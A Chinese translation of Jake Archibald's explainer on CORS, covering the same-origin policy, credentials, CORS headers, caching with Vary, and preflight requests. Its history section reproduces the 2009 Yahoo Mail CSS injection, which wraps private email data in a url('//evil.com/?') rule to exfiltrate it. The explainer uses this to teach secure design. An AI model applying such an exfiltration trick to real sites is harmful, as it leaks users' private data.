精通CORS

182 阅读21分钟

CORS(跨源资源共享)很难实现,因为它是浏览器获取信息的一部分,这些信息是一组从三十多年前的第一个网络浏览器出现就开始的行为信息,从那时起,它就成为了持续发展的资源;可以添加功能,改进默认设置,并在不破坏太多web的情况下弥补过去的错误。

接下来将介绍关于CORS的几乎所有的东西,为了让大家更直观地理解,我创建了一个新的app: jakearchibald.com/2021/cors/p…

你可以直接点击链接 the playground 进入。接下来,我将通过展示特定的示例在整个文章中链接它。

不管怎样,我有点说过头了。在讲"怎么做"之前,我将试着去解释“为什么”,包括CORS是如何产生的,以及OCRS如何适合其他类型的回收。

不利用CORS进行跨源访问

我想提出一个新的、可选择的HTML标记:IMG。必需的参数是SRC="url"。

Marc Andreessen 于1993年

浏览器上能够显示其他网站的图片已经有近30年的历史了,你不需要其他网站的许可就可以这么做,而且这个功能不止适用于图像,以下格式的文件都可以:

<script src="…"></script>
<link rel="stylesheet" href="…" />
<iframe src="…"></iframe>
<video src="…"></video>
<audio src="…"></audio>

像这样的api允许你向另一个网站发出请求,并以特定的方式处理响应,而无需其他网站的同意。

1994年,随着HTTP cookie的出现,情况开始变得复杂起来。HTTP cookie成为了我们所谓的 credentials的一部分,credentials还包括TLS客户端证书(不要与服务器证书混淆)和状态,这个状态是当使用HTTP身份验证时自动进入Authorization请求头的状态(这个不重要,如果你之前没有听说过,也无所谓)

Credentials允许服务器跨多个请求维护特定用户的状态,这就是Twitter如何显示你的动态,你的银行如何显示你的帐户的原理。

当你使用上述方法之一请求一个站点的内容时,将会发送Credentials到该站点。多年来,这造成了大量的安全问题。

<img src="https://your-bank/your-profile/you.jpg" />

如果上面的图像加载了,那么将得到一个load 事件。如果它没有被加载,则得到一个error事件。如果图像的加载与否取决于你是否登录,那么这次加载将告诉我很多关于你的信息。我还可以读取图像的宽度和高度,如果不同用户的宽度和高度不同,就能告诉我更多信息。

对于CSS样式来说,情况就更糟了,CSS有更多的功能,但不会在解析错误时立即失败。2009年,雅虎邮箱被一个相当简单的漏洞攻击。攻击者向用户发送一封主题为);}的电子邮件,随后发送另一封主题为{}html{background:url('//evil.com/? 的邮件:

<li class="email-subject">Hey {}html{background:url('//evil.com/?</li>
<li class="email-subject">…private data…</li>
<li class="email-subject">…private data…</li>
<li class="email-subject">…private data…</li>
<li class="email-subject">Yo ');}</li>

上面的代码这意味着用户的一些私人电子邮件数据被夹在一些将被解析为有效的CSS代码之间。然后,攻击者说服用户访问以下页面:

<link rel="stylesheet" href="https://m.yahoo.com/mail" />

使用“yahoo.com”的cookie加载,CSS解析,并发送私人信息到“evil.com”。后果就可想而知了。

这还只是冰山一角。从浏览器bugCPU漏洞,这些泄漏的资源给我们带来了几十年的问题。

锁定

很明显,上述的是网页设计中的一个错误,因此我们不再创建可以处理这类请求的api。与此同时,在过去的几十年里,我们一直在尽我们所能地解决问题:

  • 来自另一个源的CSS(下面很快会给出“源”的定义)需要与一个CSSContent-Type一起发送。然而,我们不能对脚本和图像或quirks模式页面的CSS实施同样的操作,而不会破坏网络的重要部分。
  • X-Content-Type-Options: nosniff 让服务器说“嘿,不要让它被解析为CSS或JS,除非我已经发送了正确的Content-Type”。
  • 后来, nosniff 规则被扩展,以防止来自其他源的特定的非CORS响应类型,比如HTML,JSON和XML(不包括SVG)。这种保护机制被称作CORB
  • 最近的方案是,我们不会将cookie与请求一起从站点A发送到站点B,除非站点B选择使用 SameSite cookie attribute。如果没有cookie,网站通常会返回“注销”视图,是没有私人数据的。
  • 火狐浏览器和Safari浏览器的工作原理不同,但都更进一步尝试了完全隔离站点。

同源策略

早在1995年,Netscape 2就推出了两个惊人的新功能:LiveScript(你可能更熟悉的名字是“JavaScript”)和HTML框架。框架可以让你将一个页面嵌入到另一个页面中,并且livecript可以与两个页面交互。

网景公司意识到这是一个安全问题;比如,用户不希望一个坏页面能够读取您的银行页面的DOM,因此他们决定只有在两个页面同源(具有相同的_origin_)时才允许使用跨框架脚本。

.origin-example { display: grid; grid-template-columns: max-content max-content; } .origin { grid-area: 1 / 1; color: #ff824a; } .path { grid-area: 1 / 2; } .origin-label { grid-area: 2 / 1; text-align: center; display: grid; grid-template-columns: 1fr max-content 1fr; align-items: top; gap: 0.3em; color: #ff824a; } .origin-label::before, .origin-label::after { content: ''; border: 1px solid currentcolor; height: 50%; } .origin-label::before { border-width: 0 0 1px 1px; } .origin-label::after { border-width: 0 1px 1px 0; }
https://jakearchibald.com:443
/2021/blah/?foo#bar
The origin

他们的想法是,同源的网站更有可能拥有相同的所有者。但这并不完全正确,因为很多网站都是用url来划分内容的,比如http://example.com/~jakearchibald/,但是总有个最低标准。

从这一点上说,使得资源具有深度可见性仅限于同源的网站之间。其中包括new ActiveXObject('Microsoft.XMLHTTP') ,它于1999年首次出现在IE5中,后来成为网络标准 XMLHttpRequest

源VS站点

有些网页功能不处理源,它们处理的是“网站”。例如,https://help.yourbank.com and https://profile.yourbank.com 是不同的源,但它们是同一个网站。Cookies是网站层面上最常见的功能,因为你可以创建发送到 yourbank.com所有子域的Cookies。

但是浏览器如何知道 https://help.yourbank.comhttps://profile.yourbank.com 都来自同一个网站的呢?浏览器又是如何知道https://yourbank.co.ukhttps://jakearchibald.co.uk 是不同的网站呢?

答案是在每个浏览器中都有一堆启发式,但在2007年,Mozilla将启发式换成了列表。这个列表现在被维护为一个独立的社区项目,称为public suffix list,所有浏览器和许多其他项目都使用它。

内存中的公共后缀列表一共有9000多个条目,如果有人想要理解没有UI提示的url的安全影响,请确保能记住这9000多条目。

上面使用了一个公共后缀列表的实时版本,但是我必须代理它,因为实际的列表不使用CORS。这是具有有讽刺意味的。

所以https://app.jakearchibald.comhttps://other-app.jakearchibald.com 是同一个网站的一部分,但是https://app.glitch.mehttps://other-app.glitch.me 是不同的网站。这些案例是不同的,因为glitch.me在公众后缀列表上,而jakearchibald.com不在。这是非常合理的,因为不同的人都能拥有glitch.me的子域,然后我自己拥有了jakearchibald.com的所有子域。

再次开放

我们已经有了像<img> 这样的api,它可以访问来自其他源的资源,但是对响应的可见性是有限的(但事后看来不够有限),我们还有这些更强大的api,如跨框架脚本和XMLHttpRequest ,它只能在同源网站上工作。

我们怎样才能让那些更强大的api跨源工作呢?

移除credentials?

假设我们提供了一个``选择性加入`(opt-in),这样的话发送请求的时候就没有credentials。响应将是'logged-out'视图,所以它不会包含任何私人数据,这样真的可以毫不担心显示吗?

不幸的是,有很多HTTP端点使用浏览器证书以外的东西来“保护”自己。

很多公司的内部网都认为它们是“私有的”,因为它们只能从特定的网络访问。一些路由器和物联网设备假设它们只能被善意的人访问,因为它们被限制在你的家庭网络中(物联网中的“s”代表安全)。一些网站根据访问的IP地址可以提供不同的内容。

所以,如果你在家里访问我的网站,我可以开始请求常见的主机名和IP地址,寻找不安全的物联网设备,寻找使用默认密码的路由器,通常会让你的生活非常痛苦,所有这些都不需要浏览器凭证。

删除credentials是解决方案的一部分,但仅靠它是不够的。因为没有方法可以知道一个资源包含私有数据,所以我们需要一些方法让非私有资源声明自己为非私有的“嘿,这很好,让其他站点读取我的内容”。

单独的源opt-in?

源可能有一些特殊的资源,这些资源详细说明了关于跨源文件访问的权限。这就是Flash的安全模式。Flash在网站的根目录中寻找一个/crossdomain.xml ,看起来像这样:

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "https://www.adobe.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
  <site-control permitted-cross-domain-policies="master-only" />
  <allow-access-from domain="*.example.com" />
  <allow-access-from domain="www.example.com" />
  <allow-http-request-headers-from domain="*.adobe.com" headers="SOAPAction" />
</cross-domain-policy>

这里有几个问题:

  • 它改变了整个源的行为。您可以设想一种类似的格式,允许您为特定的资源指定规则,但是' /crossdomain.xml '文件会变得越来越大。

  • 您最终会得到两个请求,一个是针对/crossdomain.xml的,另一个是针对实际资源的。当/crossdomain.xml变得更大时,这就变成了一个问题。

  • 对于由多个团队建立的大型网站,你最终会遇到/crossdomain.xml的所有权问题。

在源里的opt-in?

为了减少请求的数量,可在资源本身内授予选择加入。这项技术是W3C语音浏览器工作组在2005年提出的,使用XML处理指令:

<?access-control allow="*.example.com" deny="*.visitors.example.com"?>

但是如果资源不是XML呢?那么,选择加入需要用不同的格式。

这就是框架与框架之间的交流。双方都可以使用'postMessage'选择加入,并且可以声明他们愿意与之交流的来源。

但是如何访问资源的原始字节呢?在这种情况下,为选择性加入使用特定于资源的元数据是没有意义的。此外,HTTP已经为资源元数据占据了一席之地……

HTTP头部的opt-in

The proposal by the Voice Browser Working Group was generalised using HTTP headers, and that became Cross-Origin Resource Sharing, or CORS.

语音浏览器工作组的提议被推广使用了HTTP头,也就是跨源资源共享(CORS)。

Access-Control-Allow-Origin: *

做一个CORS请求

大多数现代web特性默认要求CORS,比如fetch() 。例外情况是,现代特性被设计为支持不使用CORS的旧特性,例如,<link rel="preload">

不幸的是,对于什么需要或不需要CORS,并没有简单的规则。例如:

<!-- Not a CORS request -->
<script src="https://example.com/script.js"></script>
<!-- CORS request -->
<script type="module" src="https://example.com/script.js"></script>

最好的方法是尝试并查看网络DevTools。在Chrome和火狐浏览器中,跨源请求会发送一个' Sec-Fetch-Mode ' header,它会告诉你这是否是一个CORS请求。不幸的是,Safari还没有实现这一点。

在CORS playground中尝试 -当你发出请求时,它将记录服务器收到的头信息。如果你使用Chrome或火狐浏览器,你会看到“Sec- fetch - mode”设置为“cors”,还有一些其他有趣的“Sec-”标题。然而,如果你发出一个no-CORS请求, ' Sec-Fetch-Mode '将是' no-CORS '。

如果一个HTML元素导致无CORS获取,你可以使用名称很糟糕的crossorigin属性将其转换为CORS请求。

<img crossorigin src="…" />
<script crossorigin src="…"></script>
<link crossorigin rel="stylesheet" href="…" />
<link crossorigin rel="preload" as="font" href="…" />

当你将这些切换到CORS时,你可以更清楚地看到跨源资源:

使用<link rel="preload> ,如果最终请求也将使用CORS,则需要确保它使用CORS,否则它将无法在预加载缓存中匹配,最终将得到两个请求。

CORS请求

默认情况下,跨源CORS请求是不带credentials的。因此,没有cookie,没有客户端证书,没有自动的Authorization头,响应上的Set-Cookie被忽略。然而,同源请求包括credentials。

在开发CORS的时候,Referer头经常被浏览器扩展和互联网安全软件欺骗或删除,所以一个新的头Origin,被创建,它提供了发出请求的页面的来源。

Origin通常是有用的,所以它被添加到许多其他类型的请求中,如WebSocket和POST请求。浏览器也尝试将它添加到常规的GET请求中,但它破坏了一些网站,这些网站认为Origin的出现意味着它是一个CORS请求😬。

在CORS playground中尝试 -当你发出请求时,它将记录服务器收到的头信息,其中包括Origin。如果你做一个no-CORS GET请求Origin头不会被发送,但如果你做一个no-CORS POST请求,它会再次出现。

CORS 响应

要通过CORS检查并让其他源访问响应,响应必须包含以下头:

Access-Control-Allow-Origin: *

* 可以用请求的Origin头的值替换,但*适用于任何请求的来源,前提是请求发送时没有credentials (稍后会详细介绍)。与所有头文件一样,头文件名称不区分大小写,但值是区分大小写的。

在CORS playground上试试吧!以下值起作用:

然而下面的_do不起作用_,因为唯一接受的值是*和请求的Origin头的大小写敏感值::

一个有效值可以让其他源访问响应体,也可以访问报头的子集:

  • Cache-Control
  • Content-Language
  • Content-Type
  • Expires
  • Last-Modified
  • Pragma

响应可以包含另一个头信息Access-Control-Expose-Headers,以显示额外的头信息:

Access-Control-Expose-Headers: Custom-Header-1, Custom-Header-2

匹配是不区分大小写的,因为头名称是不区分大小写的。你也可以用:

Access-Control-Expose-Headers: *

如果请求是在没有凭据的情况下发送的,就会暴露(几乎)所有的头信息。Set-CookieSet-Cookie2(已弃用的Set-Cookie版本)头永远不会暴露,以避免跨网站泄露cookie。在CORS playground上试试吧:

CORS 和缓存

CORS请求不会绕过缓存。Firefox会根据请求是否有凭据来划分HTTP缓存,Chrome也计划这样做,但你仍然需要担心CDN缓存。

把CORS添加到一个长缓存源

如果您的资产具有较长的缓存生命周期,那么您可能习惯于在内容更改时更改文件名,以便用户获取新内容。同样的事情也适用于header的变化。

如果你将Access-Control-Allow-Origin: *添加到具有较长的缓存生命周期的资源中,请确保更改URL,以便客户端返回到你的服务器并获取新的头部,而不是重用一个没有头部的缓存版本。

如果您不觉得我占用了您很多时间,我有一篇涉及长期缓存的文章可以看到更多细节。

有条件地服务CORS头

如果一个资源在使用Cookie请求时包含私有数据,但你只想暴露没有Cookie的数据,如果请求没有Cookie头,那么最好只包括Access-Control-Allow-Origin: * 头。这避免了CDN或浏览器缓存重用包含私有数据的响应的意外情况:

    1. 浏览器获取没有CORS的资源,因此请求包含cookie。
  1. 响应(包含私有数据)进入缓存。
  2. 浏览器对相同的资源进行CORS获取,因此它不包括cookie。
  3. 缓存返回与之前相同的响应。

在本例中,浏览器没有随第二个请求一起发送cookie,但它收到了一个响应,其中包含了与前一个请求一起发送的一些cookie造成的私有数据。您不希望它通过CORS检查并暴露私有数据。

但是上面的错误只会在头文件中缺少另一条重要指令的情况下发生:

Vary: Cookie

这意味着“如果Cookie头的状态与原始请求匹配,你只能提供缓存版本的Cookie”。你应该在所有对URL的响应中包括它,不管请求是否有一个Cookie头。

我还看到一些服务根据请求是否像CORS请求有条件地添加Access-Control-Allow-Origin: * ,使用 Origin报头的存在作为粗略信号。这是不必要的复杂性,但如果你坚持这样做,很重要的是使用正确的Vary头文件:

Vary: Origin

**很多流行的“云存储”主机都犯了这个错误。**他们有条件地添加CORS头,不包括Vary头。不要相信他们的默认设置,要检查他们是否在做正确的事情。 Vary可以列出许多头文件作为条件使用,所以如果你要根据 Origin and Cookie头文件的存在添加Access-Control-Allow-Origin: * ,那么使用:

Vary: Origin, Cookie

通过CORS公开资源是否安全?

如果一个资源从不包含私有数据,那么在它上面加上Access-Control-Allow-Origin: * 是完全安全的。

如果一个资源有时包含依赖于Cookie的私有数据,那么添加Access-Control-Allow-Origin: *是安全的,只要你还包含Vary: Cookie 头。

最后,如果你使用诸如发送者的IP地址之类的东西来“保护”数据,或者假设你是安全的,因为你的服务器被限制在一个“内部”网络,那么使用Access-Control-Allow-Origin: *根本就不安全。但同时,呃,停止那样做!这些数据实际上并不安全。平台应用程序将能够获取这些数据,并将其发送到任何他们想要的地方。

添加凭证

缺省情况下,跨源CORS请求是不带凭证(credentials)的。但是,各种api允许您将凭据添加回来。 获取:

const response = await fetch(url, {
  credentials: "include",
});

或者用HTML元素:

<img crossorigin="use-credentials" src="…" />

然而,这让opt-in变得更强。响应必须包含:

Access-Control-Allow-Credentials: true
Access-Control-Allow-Origin: https://jakearchibald.com
Vary: Cookie, Origin

如果CORS请求包含凭据,响应必须包括Access-Control-Allow-Credentials: true 头,并且 Access-Control-Allow-Origin的值必须反映请求的Origin头(如果请求有凭据,*不是一个可接受的值)。

选择加入的力量更强大,因为公开私人数据是有风险的,而且应该只对你真正信任的来源进行。 围绕cookie的相同站点规则仍然适用,我们在Firefox和Safari中看到的那种隔离也同样适用。但这些只对跨站点有效,而不是跨来源。

在这种情况下,如果你的响应可以以任何方式缓存,那么使用Vary头是很重要的。不仅仅是通过浏览器,还有像CDN这样的中介。使用Vary来告诉浏览器和中间体,响应取决于特定的请求头,否则用户可能会得到一个错误的Access-Control-Allow-Origin值的响应。

Try it in the CORS playground - This request meets all the criteria, and also sets a cookie. If you make the request a second time, you'll see the cookie being sent back.

异常请求和 preflight 请求

到目前为止,他们的反应是选择公开其数据。所有的_requests_都被假定是安全的,因为它们没有做任何不寻常的事情。

fetch(url, { credentials: "include" });

上面没有什么不寻常的地方,因为请求实际上类似于' '已经可以做的事情。

fetch(url, {
  method: "POST",
  body: formData,
});

上面的请求并没有什么不寻常的,因为请求实际上与'

'所能做的很相似。

fetch(url, {
  method: "wibbley-wobbley",
  credentials: "include",
  headers: {
    fancy: "headers",
    "here-we": "go",
  },
});

这很不寻常。是相当复杂的,但从高层来看,如果它是其他浏览器api通常不会发出的请求,那么它就是不寻常的。在较低的级别,如果请求方法不是' GET ', ' HEAD ',或' POST ',或它包含的头或头值不是safelist的一部分,那么它被视为不正常。事实上,我对规范的这一部分做了 修改最近添加了特定的Range头到这个列表中。

如果你试图提出不寻常的请求,浏览器首先会询问对方是否可以发送请求。这个过程叫做preflight。

Preflight 请求

在发出主请求之前,浏览器使用OPTIONS方法向目标URL发出一个Preflight请求,头部如下所示:

Access-Control-Request-Method: wibbley-wobbley
Access-Control-Request-Headers: fancy, here-we
  • Access-Control-Request-Method - 主请求将使用的HTTP方法。这包括了即使方法不是不寻常的。
  • Access-Control-Request-Headers - 主请求将使用的不寻常的头文件。如果没有异常报头,则不发送此报头。

preflight 请求从不包括凭据,即使主请求会包含。

Preflight 响应

服务器的响应指示它是否愿意让主请求继续进行,使用头信息如下:

Access-Control-Max-Age: 600
Access-Control-Allow-Methods: wibbley-wobbley
Access-Control-Allow-Headers: fancy, here-we
  • Access-Control-Max-Age - 缓存这个Preflight响应的秒数,以避免对这个URL进行进一步的预飞行。缺省值是5秒。有些浏览器对此有上限。在Chrome中是600(10分钟),在Firefox中是86400(24小时)。
  • Access-Control-Allow-Methods - 允许的_unusual_方法。这可以是一个逗号分隔的列表,值是区分大小写的。如果发送主请求时没有凭据,则可以使用* 来允许(几乎)任何方法。您不能允许CONNECT TRACETRACK ,因为这些都是🔥💀 FORBIDDEN LIST 💀🔥 出于安全原因。
  • Access-Control-Allow-Headers - 允许的_unusual_头文件。这可以是一个逗号分隔的列表,值是不区分大小写的,因为头名称是不区分大小写的。如果主请求发送时没有凭据,则可以使用* 来允许任何不在🔥💀 FORBIDDEN LIST 💀🔥 上的报头。

🔥💀 FORBIDDEN LIST 💀🔥 上的头是出于安全原因必须留在浏览器控制中的头文件。它们会自动(默默地)从CORS请求和Access-Control-Allow-Headers中剥离出来。

Preflight响应还必须通过常规的CORS检查,所以它需要Access-Control-Allow-Origin,如果主请求要与凭据一起发送,还需要Access-Control-Allow-Credentials: true,并且状态码必须在200-299(包括200-299)之间。

如果允许预期的方法,并且允许所有预期的头,那么主请求将继续进行。

对了,Preflight只会批准你的请求。最终响应还必须通过CORS检查。

状态代码限制会产生一些问题。如果你有一个像/artists/Pip-Blom这样的API,如果Pip Blom不在数据库中,你可能想返回一个404。你希望404代码(和响应体)是可见的,这样客户端就知道他们请求的是“未找到”,而不是其他类型的服务器错误。但是如果请求需要预飞行,则预飞行必须返回200-299代码,即使最终响应将是404。

在方法名上有一个Chrome bug

Chrome有一个bug,直到写这篇文章我才知道。

HTTP方法名在某种程度上是区分大小写的。我说'somewhat'是因为如果你使用的方法名对get, post, head, delete, options, 或put不区分大小写匹配,那么它会自动大写,但其他方法保持你使用的大小写。

不幸的是,Chrome希望这个值在Access-Control-Allow-Methods 中大写。如果你的方法是Wibbley-Wobbley,而proflight的反应是:

Access-Control-Allow-Methods: Wibbley-Wobbley

…它会在Chrome中检查失败。而:

Access-Control-Allow-Methods: WIBBLEY-WOBBLEY

…将通过在Chrome的检查(它将与Wibbley-Wobbley方法提出请求),但它将失败在其他浏览器遵循规范。

Access-Control-Allow-Methods: Wibbley-Wobbley, WIBBLEY-WOBBLEY

或者如果它是一个没有凭证的请求,就使用*

好的,让我们一起在CORS playground里总结一下:

唷!

哇,你坚持到最后了!抱歉,这篇文章比我预期的要长得多,但我希望它有助于理解整个CORS的事情。

非常感谢Anne van Kesteren, Simon Pieters, Thomas Steiner, Ethan, Mathias Bynens, Jeff Posnick, 和 Matt Hobbs 的校对,核查,和细节审查。